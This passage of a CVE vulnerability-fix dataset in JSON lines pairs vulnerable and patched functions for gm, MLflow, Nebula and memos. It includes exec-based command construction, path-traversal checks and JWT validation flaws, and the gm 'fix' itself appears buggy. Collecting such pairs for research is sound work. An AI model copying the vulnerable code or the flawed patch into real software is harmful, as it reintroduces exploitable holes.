"https://github.com/aheckmann/gm", "patch_url": ["https://github.com/aheckmann/gm/commit/5f5c77490aa84ed313405c88905eb4566135be31"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_141_1", "commit": "7c7dd39", "file_path": "lib/compare.js", "start_line": 21, "end_line": 104, "snippet": "module.exports = exports = function (proto) {\n  function compare(orig, compareTo, options, cb) {\n    orig = utils.escape(orig);\n    compareTo = utils.escape(compareTo);\n\n    var isImageMagick = this._options && this._options.imageMagick;\n    // compare binary for IM is `compare`, for GM it's `gm compare`\n    var bin = isImageMagick ? '' : 'gm ';\n    var execCmd = bin + 'compare -metric mse ' + orig + ' ' + compareTo;\n    var tolerance = 0.4;\n    // outputting the diff image\n    if (typeof options === 'object') {\n\n      if (options.highlightColor && options.highlightColor.indexOf('\"') < 0) {\n        options.highlightColor = '\"' + options.highlightColor + '\"';\n      }\n\n      if (options.file) {\n        if (typeof options.file !== 'string') {\n          throw new TypeError('The path for the diff output is invalid');\n        }\n         // graphicsmagick defaults to red\n        var highlightColorOption = options.highlightColor\n          ? ' -highlight-color ' + options.highlightColor + ' '\n          : ' ';\n        var highlightStyleOption = options.highlightStyle\n          ? ' -highlight-style ' + options.highlightStyle + ' '\n          : ' ';\n        var diffFilename = utils.escape(options.file);\n        // For IM, filename is the last argument. For GM it's `-file <filename>`\n        var diffOpt = isImageMagick ? diffFilename : ('-file ' + diffFilename);\n        execCmd += highlightColorOption + highlightStyleOption  + ' ' + diffOpt;\n      }\n      \n      if (typeof options.tolerance != 'undefined') {\n        if (typeof options.tolerance !== 'number') {\n          throw new TypeError('The tolerance value should be a number');\n        }\n        tolerance = options.tolerance;\n      } \n    } else {\n      // For ImageMagick diff file is required but we don't care about it, so null it out\n      isImageMagick && (execCmd += ' null:');\n\n      if (typeof options == 'function') {\n        cb = options; // tolerance value not provided, flip the cb place\n      } else {\n        tolerance = options\n      }\n    }\n\n    exec(execCmd, function (err, stdout, stderr) {\n      // ImageMagick returns err code 2 if err, 0 if similar, 1 if dissimilar\n      if (isImageMagick) {\n        if (!err) {\n          return cb(null, 0 <= tolerance, 0, stdout);\n        }\n        if (err.code === 1) {\n          err = null;\n          stdout = stderr;\n        }\n      }\n      if (err) {\n        return cb(err);\n      }\n      // Since ImageMagick similar gives err code 0 and no stdout, there's really no matching\n      // Otherwise, output format for IM is `12.00 (0.123)` and for GM it's `Total: 0.123`\n      var regex = isImageMagick ? /\\((\\d+\\.?[\\d\\-\\+e]*)\\)/m : /Total: (\\d+\\.?\\d*)/m;\n      var match = regex.exec(stdout);\n      if (!match) {\n        err = new Error('Unable to parse output.\\nGot ' + stdout);\n        return cb(err);\n      }\n\n      var equality = parseFloat(match[1]);\n      cb(null, equality <= tolerance, equality, stdout, utils.unescape(orig), utils.unescape(compareTo));\n    });\n  }\n\n  if (proto) {\n    proto.compare = compare;\n  }\n  return compare;\n};"}], "fix_func": [{"id": "fix_js_141_1", "commit": "5f5c774", "file_path": "lib/compare.js", "start_line": 20, "end_line": 114, "snippet": "module.exports = exports = function (proto) {\n  function compare(orig, compareTo, options, cb) {\n\n    var isImageMagick = this._options && this._options.imageMagick;\n    // compare binary for IM is `compare`, for GM it's `gm compare`\n    var bin = isImageMagick ? '' : 'gm ';\n    var args = ['compare', '-metric', 'mse', orig, compareTo]\n    var tolerance = 0.4;\n    // outputting the diff image\n    if (typeof options === 'object') {\n\n      if (options.highlightColor && options.highlightColor.indexOf('\"') < 0) {\n        options.highlightColor = '\"' + options.highlightColor + '\"';\n      }\n\n      if (options.file) {\n        if (typeof options.file !== 'string') {\n          throw new TypeError('The path for the diff output is invalid');\n        }\n         // graphicsmagick defaults to red\n        if (options.highlightColour) {\n            args.push('-highlight-color');\n            args.push(options.highlightColor);\n        }\n        if (options.highlightStyle) {\n            args.push('-highlight-style')\n            args.push(options.highlightStyle)\n        }\n        // For IM, filename is the last argument. For GM it's `-file <filename>`\n        if (isImageMagick) {\n            args.push('-file');\n        }\n        args.push(options.file);\n      }\n      \n      if (typeof options.tolerance != 'undefined') {\n        if (typeof options.tolerance !== 'number') {\n          throw new TypeError('The tolerance value should be a number');\n        }\n        tolerance = options.tolerance;\n      } \n    } else {\n      // For ImageMagick diff file is required but we don't care about it, so null it out\n      if (isImageMagick) {\n        args.push('null:');\n      }\n\n      if (typeof options == 'function') {\n        cb = options; // tolerance value not provided, flip the cb place\n      } else {\n        tolerance = options\n      }\n    }\n\n    var proc = spawn('/usr/bin/gm', args);\n    var stdout = '';\n    var stderr = '';\n    proc.stdout.on('data',function(data) { stdout+=data });\n    proc.stderr.on('data',function(data) { stderr+=data });\n    proc.on('close', function (code) {\n      // ImageMagick returns err code 2 if err, 0 if similar, 1 if dissimilar\n      if (isImageMagick) {\n        if (code === 0) {\n          return cb(null, 0 <= tolerance, 0, stdout);\n        }\n        else if (code === 1) {\n          err = null;\n          stdout = stderr;\n        } else {\n        return cb(stderr);\n        }\n      } else {\n        if(code !== 0) {\n          return cb(stderr);\n        }\n      }\n      // Since ImageMagick similar gives err code 0 and no stdout, there's really no matching\n      // Otherwise, output format for IM is `12.00 (0.123)` and for GM it's `Total: 0.123`\n      var regex = isImageMagick ? /\\((\\d+\\.?[\\d\\-\\+e]*)\\)/m : /Total: (\\d+\\.?\\d*)/m;\n      var match = regex.exec(stdout);\n      if (!match) {\n        err = new Error('Unable to parse output.\\nGot ' + stdout);\n        return cb(err);\n      }\n\n      var equality = parseFloat(match[1]);\n      cb(null, equality <= tolerance, equality, stdout, orig, compareTo);\n    });\n  }\n\n  if (proto) {\n    proto.compare = compare;\n  }\n  return compare;\n};"}], "vul_patch": "--- a/lib/compare.js\n+++ b/lib/compare.js\n@@ -1,12 +1,10 @@\n module.exports = exports = function (proto) {\n   function compare(orig, compareTo, options, cb) {\n-    orig = utils.escape(orig);\n-    compareTo = utils.escape(compareTo);\n \n     var isImageMagick = this._options && this._options.imageMagick;\n     // compare binary for IM is `compare`, for GM it's `gm compare`\n     var bin = isImageMagick ? '' : 'gm ';\n-    var execCmd = bin + 'compare -metric mse ' + orig + ' ' + compareTo;\n+    var args = ['compare', '-metric', 'mse', orig, compareTo]\n     var tolerance = 0.4;\n     // outputting the diff image\n     if (typeof options === 'object') {\n@@ -20,16 +18,19 @@\n           throw new TypeError('The path for the diff output is invalid');\n         }\n          // graphicsmagick defaults to red\n-        var highlightColorOption = options.highlightColor\n-          ? ' -highlight-color ' + options.highlightColor + ' '\n-          : ' ';\n-        var highlightStyleOption = options.highlightStyle\n-          ? ' -highlight-style ' + options.highlightStyle + ' '\n-          : ' ';\n-        var diffFilename = utils.escape(options.file);\n+        if (options.highlightColour) {\n+            args.push('-highlight-color');\n+            args.push(options.highlightColor);\n+        }\n+        if (options.highlightStyle) {\n+            args.push('-highlight-style')\n+            args.push(options.highlightStyle)\n+        }\n         // For IM, filename is the last argument. For GM it's `-file <filename>`\n-        var diffOpt = isImageMagick ? diffFilename : ('-file ' + diffFilename);\n-        execCmd += highlightColorOption + highlightStyleOption  + ' ' + diffOpt;\n+        if (isImageMagick) {\n+            args.push('-file');\n+        }\n+        args.push(options.file);\n       }\n       \n       if (typeof options.tolerance != 'undefined') {\n@@ -40,7 +41,9 @@\n       } \n     } else {\n       // For ImageMagick diff file is required but we don't care about it, so null it out\n-      isImageMagick && (execCmd += ' null:');\n+      if (isImageMagick) {\n+        args.push('null:');\n+      }\n \n       if (typeof options == 'function') {\n         cb = options; // tolerance value not provided, flip the cb place\n@@ -49,19 +52,27 @@\n       }\n     }\n \n-    exec(execCmd, function (err, stdout, stderr) {\n+    var proc = spawn('/usr/bin/gm', args);\n+    var stdout = '';\n+    var stderr = '';\n+    proc.stdout.on('data',function(data) { stdout+=data });\n+    proc.stderr.on('data',function(data) { stderr+=data });\n+    proc.on('close', function (code) {\n       // ImageMagick returns err code 2 if err, 0 if similar, 1 if dissimilar\n       if (isImageMagick) {\n-        if (!err) {\n+        if (code === 0) {\n           return cb(null, 0 <= tolerance, 0, stdout);\n         }\n-        if (err.code === 1) {\n+        else if (code === 1) {\n           err = null;\n           stdout = stderr;\n+        } else {\n+        return cb(stderr);\n         }\n-      }\n-      if (err) {\n-        return cb(err);\n+      } else {\n+        if(code !== 0) {\n+          return cb(stderr);\n+        }\n       }\n       // Since ImageMagick similar gives err code 0 and no stdout, there's really no matching\n       // Otherwise, output format for IM is `12.00 (0.123)` and for GM it's `Total: 0.123`\n@@ -73,7 +84,7 @@\n       }\n \n       var equality = parseFloat(match[1]);\n-      cb(null, equality <= tolerance, equality, stdout, utils.unescape(orig), utils.unescape(compareTo));\n+      cb(null, equality <= tolerance, equality, stdout, orig, compareTo);\n     });\n   }\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-6015", "cve_description": "MLflow allowed arbitrary files to be PUT onto the server.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/cf83dad4df26dd4a850622fe8a51ccab1471a5e7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_143_1", "commit": "e8c003a", "file_path": "mlflow/server/handlers.py", "start_line": 539, "end_line": 556, "snippet": "def validate_path_is_safe(path):\n    \"\"\"\n    Validates that the specified path is safe to join with a trusted prefix. This is a security\n    measure to prevent path traversal attacks.\n    A valid path should:\n        not contain separators other than '/'\n        not contain .. to navigate to parent dir in path\n        not be an absolute path\n    \"\"\"\n    if is_file_uri(path):\n        path = local_file_uri_to_path(path)\n    if (\n        any((s in path) for s in _OS_ALT_SEPS)\n        or \"..\" in path.split(\"/\")\n        or pathlib.PureWindowsPath(path).is_absolute()\n        or pathlib.PurePosixPath(path).is_absolute()\n    ):\n        raise MlflowException(f\"Invalid path: {path}\", error_code=INVALID_PARAMETER_VALUE)"}], "fix_func": [{"id": "fix_py_143_1", "commit": "cf83dad", "file_path": "mlflow/server/handlers.py", "start_line": 540, "end_line": 558, "snippet": "def validate_path_is_safe(path):\n    \"\"\"\n    Validates that the specified path is safe to join with a trusted prefix. This is a security\n    measure to prevent path traversal attacks.\n    A valid path should:\n        not contain separators other than '/'\n        not contain .. to navigate to parent dir in path\n        not be an absolute path\n    \"\"\"\n    if is_file_uri(path):\n        path = local_file_uri_to_path(path)\n    if (\n        any((s in path) for s in _OS_ALT_SEPS)\n        or \"..\" in path.split(\"/\")\n        or pathlib.PureWindowsPath(path).is_absolute()\n        or pathlib.PurePosixPath(path).is_absolute()\n        or (is_windows() and len(path) >= 2 and path[1] == \":\")\n    ):\n        raise MlflowException(f\"Invalid path: {path}\", error_code=INVALID_PARAMETER_VALUE)"}], "vul_patch": "--- a/mlflow/server/handlers.py\n+++ b/mlflow/server/handlers.py\n@@ -14,5 +14,6 @@\n         or \"..\" in path.split(\"/\")\n         or pathlib.PureWindowsPath(path).is_absolute()\n         or pathlib.PurePosixPath(path).is_absolute()\n+        or (is_windows() and len(path) >= 2 and path[1] == \":\")\n     ):\n         raise MlflowException(f\"Invalid path: {path}\", error_code=INVALID_PARAMETER_VALUE)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-11498", "cve_description": "Slack Nebula through 1.1.0 contains a relative path vulnerability that allows a low-privileged attacker to execute code in the context of the root user via tun_darwin.go or tun_windows.go. A user can also use Nebula to execute arbitrary code in the user's own context, e.g., for user-level persistence or to bypass security controls. NOTE: the vendor states that this \"requires a high degree of access and other preconditions that are tough to achieve.\"", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/slackhq/nebula", "patch_url": ["https://github.com/slackhq/nebula/commit/df69371620ef8fdf0fc4693274f9b524c8250d0e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_180_1", "commit": "eda344d", "file_path": "tun_darwin.go", "start_line": 33, "end_line": 62, "snippet": "func (c *Tun) Activate() error {\n\tvar err error\n\tc.Interface, err = water.New(water.Config{\n\t\tDeviceType: water.TUN,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Activate failed: %v\", err)\n\t}\n\n\tc.Device = c.Interface.Name()\n\n\t// TODO use syscalls instead of exec.Command\n\tif err = exec.Command(\"ifconfig\", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'ifconfig': %s\", err)\n\t}\n\tif err = exec.Command(\"route\", \"-n\", \"add\", \"-net\", c.Cidr.String(), \"-interface\", c.Device).Run(); err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'route add': %s\", err)\n\t}\n\tif err = exec.Command(\"ifconfig\", c.Device, \"mtu\", strconv.Itoa(c.MTU)).Run(); err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'ifconfig': %s\", err)\n\t}\n\t// Unsafe path routes\n\tfor _, r := range c.UnsafeRoutes {\n\t\tif err = exec.Command(\"route\", \"-n\", \"add\", \"-net\", r.route.String(), \"-interface\", c.Device).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to run 'route add' for unsafe_route %s: %s\", r.route.String(), err)\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "vul_go_180_2", "commit": "eda344d", "file_path": "tun_windows.go", "start_line": 33, "end_line": 70, "snippet": "func (c *Tun) Activate() error {\n\tvar err error\n\tc.Interface, err = water.New(water.Config{\n\t\tDeviceType: water.TUN,\n\t\tPlatformSpecificParams: water.PlatformSpecificParams{\n\t\t\tComponentID: \"tap0901\",\n\t\t\tNetwork:     c.Cidr.String(),\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Activate failed: %v\", err)\n\t}\n\n\tc.Device = c.Interface.Name()\n\n\t// TODO use syscalls instead of exec.Command\n\terr = exec.Command(\n\t\t\"netsh\", \"interface\", \"ipv4\", \"set\", \"address\",\n\t\tfmt.Sprintf(\"name=%s\", c.Device),\n\t\t\"source=static\",\n\t\tfmt.Sprintf(\"addr=%s\", c.Cidr.IP),\n\t\tfmt.Sprintf(\"mask=%s\", net.IP(c.Cidr.Mask)),\n\t\t\"gateway=none\",\n\t).Run()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'netsh' to set address: %s\", err)\n\t}\n\terr = exec.Command(\n\t\t\"netsh\", \"interface\", \"ipv4\", \"set\", \"interface\",\n\t\tc.Device,\n\t\tfmt.Sprintf(\"mtu=%d\", c.MTU),\n\t).Run()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'netsh' to set MTU: %s\", err)\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_180_1", "commit": "df69371", "file_path": "tun_darwin.go", "start_line": 33, "end_line": 62, "snippet": "func (c *Tun) Activate() error {\n\tvar err error\n\tc.Interface, err = water.New(water.Config{\n\t\tDeviceType: water.TUN,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Activate failed: %v\", err)\n\t}\n\n\tc.Device = c.Interface.Name()\n\n\t// TODO use syscalls instead of exec.Command\n\tif err = exec.Command(\"/sbin/ifconfig\", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'ifconfig': %s\", err)\n\t}\n\tif err = exec.Command(\"/sbin/route\", \"-n\", \"add\", \"-net\", c.Cidr.String(), \"-interface\", c.Device).Run(); err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'route add': %s\", err)\n\t}\n\tif err = exec.Command(\"/sbin/ifconfig\", c.Device, \"mtu\", strconv.Itoa(c.MTU)).Run(); err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'ifconfig': %s\", err)\n\t}\n\t// Unsafe path routes\n\tfor _, r := range c.UnsafeRoutes {\n\t\tif err = exec.Command(\"/sbin/route\", \"-n\", \"add\", \"-net\", r.route.String(), \"-interface\", c.Device).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to run 'route add' for unsafe_route %s: %s\", r.route.String(), err)\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_180_2", "commit": "df69371", "file_path": "tun_windows.go", "start_line": 33, "end_line": 70, "snippet": "func (c *Tun) Activate() error {\n\tvar err error\n\tc.Interface, err = water.New(water.Config{\n\t\tDeviceType: water.TUN,\n\t\tPlatformSpecificParams: water.PlatformSpecificParams{\n\t\t\tComponentID: \"tap0901\",\n\t\t\tNetwork:     c.Cidr.String(),\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Activate failed: %v\", err)\n\t}\n\n\tc.Device = c.Interface.Name()\n\n\t// TODO use syscalls instead of exec.Command\n\terr = exec.Command(\n\t\t`C:\\Windows\\System32\\netsh.exe`, \"interface\", \"ipv4\", \"set\", \"address\",\n\t\tfmt.Sprintf(\"name=%s\", c.Device),\n\t\t\"source=static\",\n\t\tfmt.Sprintf(\"addr=%s\", c.Cidr.IP),\n\t\tfmt.Sprintf(\"mask=%s\", net.IP(c.Cidr.Mask)),\n\t\t\"gateway=none\",\n\t).Run()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'netsh' to set address: %s\", err)\n\t}\n\terr = exec.Command(\n\t\t`C:\\Windows\\System32\\netsh.exe`, \"interface\", \"ipv4\", \"set\", \"interface\",\n\t\tc.Device,\n\t\tfmt.Sprintf(\"mtu=%d\", c.MTU),\n\t).Run()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to run 'netsh' to set MTU: %s\", err)\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/tun_darwin.go\n+++ b/tun_darwin.go\n@@ -10,18 +10,18 @@\n \tc.Device = c.Interface.Name()\n \n \t// TODO use syscalls instead of exec.Command\n-\tif err = exec.Command(\"ifconfig\", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil {\n+\tif err = exec.Command(\"/sbin/ifconfig\", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil {\n \t\treturn fmt.Errorf(\"failed to run 'ifconfig': %s\", err)\n \t}\n-\tif err = exec.Command(\"route\", \"-n\", \"add\", \"-net\", c.Cidr.String(), \"-interface\", c.Device).Run(); err != nil {\n+\tif err = exec.Command(\"/sbin/route\", \"-n\", \"add\", \"-net\", c.Cidr.String(), \"-interface\", c.Device).Run(); err != nil {\n \t\treturn fmt.Errorf(\"failed to run 'route add': %s\", err)\n \t}\n-\tif err = exec.Command(\"ifconfig\", c.Device, \"mtu\", strconv.Itoa(c.MTU)).Run(); err != nil {\n+\tif err = exec.Command(\"/sbin/ifconfig\", c.Device, \"mtu\", strconv.Itoa(c.MTU)).Run(); err != nil {\n \t\treturn fmt.Errorf(\"failed to run 'ifconfig': %s\", err)\n \t}\n \t// Unsafe path routes\n \tfor _, r := range c.UnsafeRoutes {\n-\t\tif err = exec.Command(\"route\", \"-n\", \"add\", \"-net\", r.route.String(), \"-interface\", c.Device).Run(); err != nil {\n+\t\tif err = exec.Command(\"/sbin/route\", \"-n\", \"add\", \"-net\", r.route.String(), \"-interface\", c.Device).Run(); err != nil {\n \t\t\treturn fmt.Errorf(\"failed to run 'route add' for unsafe_route %s: %s\", r.route.String(), err)\n \t\t}\n \t}\n\n--- a/tun_windows.go\n+++ b/tun_windows.go\n@@ -15,7 +15,7 @@\n \n \t// TODO use syscalls instead of exec.Command\n \terr = exec.Command(\n-\t\t\"netsh\", \"interface\", \"ipv4\", \"set\", \"address\",\n+\t\t`C:\\Windows\\System32\\netsh.exe`, \"interface\", \"ipv4\", \"set\", \"address\",\n \t\tfmt.Sprintf(\"name=%s\", c.Device),\n \t\t\"source=static\",\n \t\tfmt.Sprintf(\"addr=%s\", c.Cidr.IP),\n@@ -26,7 +26,7 @@\n \t\treturn fmt.Errorf(\"failed to run 'netsh' to set address: %s\", err)\n \t}\n \terr = exec.Command(\n-\t\t\"netsh\", \"interface\", \"ipv4\", \"set\", \"interface\",\n+\t\t`C:\\Windows\\System32\\netsh.exe`, \"interface\", \"ipv4\", \"set\", \"interface\",\n \t\tc.Device,\n \t\tfmt.Sprintf(\"mtu=%d\", c.MTU),\n \t).Run()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-4698", "cve_description": "Improper Input Validation in GitHub repository usememos/memos prior to 0.13.2.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/usememos/memos", "patch_url": ["https://github.com/usememos/memos/commit/c9aa2eeb9852047e4f41915eb30726bd25f07ecd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_187_1", "commit": "63d6b6f", "file_path": "server/jwt.go", "start_line": 75, "end_line": 206, "snippet": "func JWTMiddleware(server *Server, next echo.HandlerFunc, secret string) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tpath := c.Request().URL.Path\n\t\tmethod := c.Request().Method\n\n\t\tif server.defaultAuthSkipper(c) {\n\t\t\treturn next(c)\n\t\t}\n\n\t\t// Skip validation for server status endpoints.\n\t\tif common.HasPrefixes(path, \"/api/ping\", \"/api/v1/idp\", \"/api/user/:id\") && method == http.MethodGet {\n\t\t\treturn next(c)\n\t\t}\n\n\t\ttoken := findAccessToken(c)\n\t\tif token == \"\" {\n\t\t\t// Allow the user to access the public endpoints.\n\t\t\tif common.HasPrefixes(path, \"/o\") {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\t// When the request is not authenticated, we allow the user to access the memo endpoints for those public memos.\n\t\t\tif common.HasPrefixes(path, \"/api/status\", \"/api/memo\") && method == http.MethodGet {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Missing access token\")\n\t\t}\n\n\t\tclaims := &Claims{}\n\t\taccessToken, err := jwt.ParseWithClaims(token, claims, func(t *jwt.Token) (any, error) {\n\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\treturn nil, errors.Errorf(\"unexpected access token signing method=%v, expect %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t}\n\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n\t\t})\n\t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n\t\t}\n\t\tgenerateToken := time.Until(claims.ExpiresAt.Time) < auth.RefreshThresholdDuration\n\t\tif err != nil {\n\t\t\tvar ve *jwt.ValidationError\n\t\t\tif errors.As(err, &ve) {\n\t\t\t\t// If expiration error is the only error, we will clear the err\n\t\t\t\t// and generate new access token and refresh token\n\t\t\t\tif ve.Errors == jwt.ValidationErrorExpired {\n\t\t\t\t\tgenerateToken = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, errors.Wrap(err, \"Invalid or expired access token\"))\n\t\t\t}\n\t\t}\n\n\t\t// We either have a valid access token or we will attempt to generate new access token and refresh token\n\t\tctx := c.Request().Context()\n\t\tuserID, err := strconv.Atoi(claims.Subject)\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Malformed ID in the token.\")\n\t\t}\n\n\t\t// Even if there is no error, we still need to make sure the user still exists.\n\t\tuser, err := server.Store.GetUser(ctx, &store.FindUserMessage{\n\t\t\tID: &userID,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to find user ID: %d\", userID)).SetInternal(err)\n\t\t}\n\t\tif user == nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Failed to find user ID: %d\", userID))\n\t\t}\n\n\t\tif generateToken {\n\t\t\tgenerateTokenFunc := func() error {\n\t\t\t\trc, err := c.Cookie(auth.RefreshTokenCookieName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Missing refresh token.\")\n\t\t\t\t}\n\n\t\t\t\t// Parses token and checks if it's valid.\n\t\t\t\trefreshTokenClaims := &Claims{}\n\t\t\t\trefreshToken, err := jwt.ParseWithClaims(rc.Value, refreshTokenClaims, func(t *jwt.Token) (any, error) {\n\t\t\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token signing method=%v, expected %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t\t\t}\n\n\t\t\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token kid=%v\", t.Header[\"kid\"])\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Invalid refresh token signature.\")\n\t\t\t\t\t}\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t}\n\n\t\t\t\tif !audienceContains(refreshTokenClaims.Audience, auth.RefreshTokenAudienceName) {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized,\n\t\t\t\t\t\tfmt.Sprintf(\"Invalid refresh token, audience mismatch, got %q, expected %q. you may send request to the wrong environment\",\n\t\t\t\t\t\t\trefreshTokenClaims.Audience,\n\t\t\t\t\t\t\tauth.RefreshTokenAudienceName,\n\t\t\t\t\t\t))\n\t\t\t\t}\n\n\t\t\t\t// If we have a valid refresh token, we will generate new access token and refresh token\n\t\t\t\tif refreshToken != nil && refreshToken.Valid {\n\t\t\t\t\tif err := auth.GenerateTokensAndSetCookies(c, user, secret); err != nil {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// It may happen that we still have a valid access token, but we encounter issue when trying to generate new token\n\t\t\t// In such case, we won't return the error.\n\t\t\tif err := generateTokenFunc(); err != nil && !accessToken.Valid {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// Stores userID into context.\n\t\tc.Set(getUserIDContextKey(), userID)\n\t\treturn next(c)\n\t}\n}"}], "fix_func": [{"id": "fix_go_187_1", "commit": "c9aa2ee", "file_path": "server/jwt.go", "start_line": 75, "end_line": 211, "snippet": "func JWTMiddleware(server *Server, next echo.HandlerFunc, secret string) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tpath := c.Request().URL.Path\n\t\tmethod := c.Request().Method\n\n\t\tif server.defaultAuthSkipper(c) {\n\t\t\treturn next(c)\n\t\t}\n\n\t\t// Skip validation for server status endpoints.\n\t\tif common.HasPrefixes(path, \"/api/ping\", \"/api/v1/idp\", \"/api/user/:id\") && method == http.MethodGet {\n\t\t\treturn next(c)\n\t\t}\n\n\t\ttoken := findAccessToken(c)\n\t\tif token == \"\" {\n\t\t\t// Allow the user to access the public endpoints.\n\t\t\tif common.HasPrefixes(path, \"/o\") {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\t// When the request is not authenticated, we allow the user to access the memo endpoints for those public memos.\n\t\t\tif common.HasPrefixes(path, \"/api/status\", \"/api/memo\") && method == http.MethodGet {\n\t\t\t\treturn next(c)\n\t\t\t}\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Missing access token\")\n\t\t}\n\n\t\tclaims := &Claims{}\n\t\taccessToken, err := jwt.ParseWithClaims(token, claims, func(t *jwt.Token) (any, error) {\n\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\treturn nil, errors.Errorf(\"unexpected access token signing method=%v, expect %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t}\n\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n\t\t})\n\n\t\tif !accessToken.Valid {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Invalid access token.\")\n\t\t}\n\n\t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, 